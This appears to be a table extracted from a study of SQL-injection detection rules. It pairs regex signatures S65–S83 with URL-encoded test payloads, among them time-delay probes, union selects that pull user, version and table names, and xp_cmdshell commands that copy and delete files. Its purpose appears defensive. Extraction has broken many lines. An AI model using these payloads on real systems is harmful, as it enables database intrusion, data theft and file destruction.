1%20and%20%221%22;%20waitfor%20time%20%22(00:00:00)%22 
1%20and%20%221%22;%20waitfor%20time%20%22((00:00:00))%22 
1%20xor%20%221%22;%20waitfor%20time%20%22((00:00:00))%22 
S65 (?:procedure\s+
analyse\s*\() 
%20procedure%20analyse(1) 
%20procedure%20analyse() 
%20limit%201,1%20procedure%20analyse() 
%20limit%206,1%20procedure%20analyse() 
%20limit%206,1%20procedure%20analyse(1,1) 
S66 (?:;\s*(declare|o
pen)\s+[\w-]+) 
1%20;%20DECLARE%20my_cursor%20CURSOR%20FOR%20SELECT%20*%20FRO
M%20product_tbl%20OPEN%20my_cursor%20FETCH%20NEXT%20FROM%20my_c
ursor; 
1%20;use 
test;%20DECLARE%20my_cursor%20CURSOR%20FOR%20SELECT%20*%20FROM
%20product_tbl%20OPEN%20my_cursor%20FETCH%20NEXT%20FROM%20my_curs
or; 
1%20;%20DECLARE%20EMP_CURSOR%20CURSOR%20FOR%20SELECT%20EM
P_ID,%20RANDOM_GEN_NO%20FROM%20SAMPLE_EMPLOYEE%20FOR%20UP
DATE%20OF%20RANDOM_GEN_NO%20OPEN%20EMP_CURSOR 
1%20;%20DECLARE%20EMP_CURSOR%20CURSOR%20FOR%20SELECT%201,1,1
%20%20OPEN%20EMP_CURSOR 
1%20;%20use test; 
DECLARE%20EMP_CURSOR%20CURSOR%20FOR%20SELECT%201,1,1%20%20O
PEN%20EMP_CURSOR 
S67 (?:declare[^\w]
+[@#]\s*\w+)|(
1%20;USE%20test%20;%20DECLARE%20@sql%20NVARCHAR(800)%20SET%20@
sql=%20%27CREATE%20PROCEDURE%20dbo.sp_bar2%20AS%20BEGIN%20SELE
exec\s*\(\s*@) CT%20%27%27a%27%27%20END;%20%27;%20EXEC%20test.dbo.sp_executesql%20
@sql; 
1%20;USE%20test%20;%20DECLARE%20@sql%20NVARCHAR(800)%20SET%20@
sql=%20%27CREATE%20PROCEDURE%20dbo.sp_bar3%20AS%20BEGIN%20SELE
CT%20%27%27a%27%27%20END;%20%27;%20EXEC%20sp_executesql%20@sql; 
1%20;%20DECLARE%20@sql%20NVARCHAR(800)%20SET%20@sql=%20%27CRE
ATE%20PROCEDURE%20dbo.sp_bar4%20AS%20BEGIN%20SELECT%20%27%27a
%27%27%20END;%20%27;%20EXEC%20sp_executesql%20@sql; 
1%20;use%20test;%20DECLARE%20@sql%20NVARCHAR(800)%20SET%20@sql=%
27Create%20Function%20TL()%20returns%20int%20as%20Begin%20return%201;%20e
nd;%27%20EXEC%20sp_executesql%20@sql; 
1%20;%20DECLARE%20@sql%20NVARCHAR(800)%20SET%20@sql=%27Create%
20Function%20TLS()%20returns%20int%20as%20Begin%20return%201;%20end;%27%
20EXEC%20sp_executesql%20@sql; 
S68 (?:waitfor\s*del
ay\s?'+\s?\d) 
1%20;%20waitfor%20delay%2700:00:01%27 
1%20;%20waitfor%20delay%27%2000:00:01%27 
1%20;Begin%20waitfor%20delay%27%2000:00:04%27%20end; 
1%20;Begin%20waitfor%20delay%2700:00:04%27%20end; 
1%20;%20/**/waitfor%20delay%2700:00:02%27%20%20 
S69 (?:\sexec\s+xp_
cmdshell) 
1%20;%20EXEC%20xp_cmdshell%20%27dir%20*.exe%27; 
1%20;%20EXEC%20xp_cmdshell%20%27COPY%20C:\xampp\test.txt%20C:\xampp\tes
t4.txt%27; 
1%20;%20EXEC%20xp_cmdshell%20%27whoami.exe%27 
1%20;%20EXEC%20xp_cmdshell%20%27del%20C:\xampp\test4.txt%27; 
1%20;%20EXEC%20xp_cmdshell%20print%27h%27; 
S70 (?:from\W+info
rmation_schem
a\W) 
%20union%20select%201,table_name,3,4,5,6%20from%20information_schema.tables 
%20union%20select%201,table_name,3,4,5,6%20from%20information_schema.tables%2
0limit%202 
%20union%20distinctrow%20select%201,table_name,3,4,5,6%20from%20information_sc
hema.tables%20 
%20union%20distinctrow%20select%201,table_name,3,4,5,6%20from%20information_sc
hema.tables%20where%20table_schema=%27test%27 
%20union%20distinctrow%20select%201,table_name,3,4,5,6%20%20from%20informatio
n_schema.tables%20where%20table_schema=%27test%27 
S71 (?:(?:(?:current_
)?user|database|
schema|connect
ion_id)\s*\([^\)]
*) 
%20union%20distinctrow%20select%201,user(),3,4,5,6%20 
%20union%20distinctrow%20select%201,database(),3,4,5,6%20 
%20union%20distinctrow%20select%201,current_user(),3,4,5,6%20 
%20or%20user() 
%20and%20schema() 
S72 (?:;?\s*(?:select|
union|having)\s
*[^\s]) 
1%20or%20%271%27=%271%27;select(1) 
1%20or%20%271%27=%271%27union%20select%201,%27A%27 
%20or%20%221%22=%221%22%20union%20distinctrow%20select%201 
%20or%20%221%22=%221%22%20having%201 
%20or%20%221%22=%221%22%20having%201%20and%201 
S73 (?:exec\s+maste
r\.) 
1%20;EXEC%20master.dbo.xp_cmdshell%20%27COPY%20C:\xampp\test.txt%20C:\xa
mpp\test4.txt%27; 
1%20;%20EXEC%20master.dbo.xp_cmdshell%20%27whoami.exe%27 
1%20;%20EXEC%20master.dbo.xp_cmdshell%20%27del%20C:\xampp\test4.txt%27; 
1%20;reconfigure;%20EXEC%20master.dbo.xp_cmdshell%20%27del%20C:\xampp\test4
.txt%27; 
1%20;%20reconfigure;%20EXEC%20master.dbo.xp_cmdshell%20%27del%20C:\xampp\
test4.txt%27; 
S74 (?:union select 
@) 
%20union%20select%20@version,2,3,4,5,6 
%20union%20select%20@version,2,3,4,5,6 
%20union%20select%20@user 
%20/**/union%20select%20@user 
%20/*!union%20select%20@user,2,3,4,5,6*/ 
S75 (?:\W+\d*\s*ha
ving\s*[^\s\-]) 
%20or%20(1)%20having%201 
%20and%20(1)%20%20having%201 
(1)%20%20%20having%201 
(1)%20%20%20or%221%22%20having%201 
(1)%20%20%20||%221%22%20having%201 
S76 (?:,.*[)\da-
f"]"(?:".*"|\Z|[^
"]+)) 
%20union%20all%20select%201,1,1,1,1,1%20from%20product_tbl%20where%20%22a
%22regexp%20%22b%22 
%20union%20all%20select%201,1,1,1,1,1%20from%20product_tbl%20where%20%22a
%22%20||%20%22b%22 
%20union%20all%20select%201,1,1,1,1,1%20from%20product_tbl%20where%20%2212
3%22%20||%20%22b%22 
%20union%20all%20select%201,1,1,1,1,1%20from%20product_tbl%20where%20%22a
%22 
%20union%20all%20select%201,1,1,1,1,%22a%22 
S77 (?:\Wselect.+\
W*from) 
%20union%20all%20select%201,1,1,1,1,1%20from%20product_tbl%20where%200 
%20union%20all%20/**/select%201,1,1,1,1,1%20from%20product_tbl%20where%200 
%20union%20distinctrow%20select%201,1,1,1,1,1%20from%20product_tbl%20 
%20or%20(select%200%20from%20product_tbl%20limit%201) 
1%20;%20select%201%20from%20test2 
S78 ((?:select|create|
rename|truncate|
load|alter|delete|
update|insert|de
sc)\s*\(\s*space
\s*\() 
%201%20union%20all%20select%20(space(3)),1,1 
%201%20or%20(select(space(1))) 
1%20;%20select(space(1)) 
1%20;/**/%20Select(space(1)) 
1%20||/**/%20Select(space(1)) 
S79 (?:--[^\n]*$) 1%20--%20h 
1;%20--%20h 
1;%20Select%201%20--%20h 
%201%20or%20%221%22%20-- 
%20or%200%20-- 
S80 (?:\<!-|-->) %20or%200%20%3C!-- 
%20or%200%20--%20%3C!----%3E 
%20or%200%20--%20%3C!-- 
%20and%200%20--%20%3C!-- 
%20and%200%20--%20--%3E 
S81 (?:[^*]\/\*|\*\/[^
*]) 
1%20;/**/insert%20into%20abc%20values(24) 
1;%20/**/Select%201 
%20or%200%20/**/%20and%200 
1;%20/**/Select/**/%201 
/*!@1*/%20and%20%221%22 
S82 (?:(?:[\W\d]#|--
|{)$) 
%20or%20%221%22-- 
1;%20/**/Select/**/%201-- 
%20or%201%20union%20select%201%20-- 
%20group%20by%202-- 
%20%20-- 
S83 (?:";\s*(?:if|whil
e|begin)) 
1%20or%20%271%27=%271%27;select(1)" 
1%20or%20%271%27=%271%27union%20select%201,%27A%27 
1%20or%20%271%27=%271%27%20union%20distinctrow%20select%201 
1%20or%20%271%27=%271%27%20having%201 
1%20or%20%272%27%20having%201%20and%201 
 
 
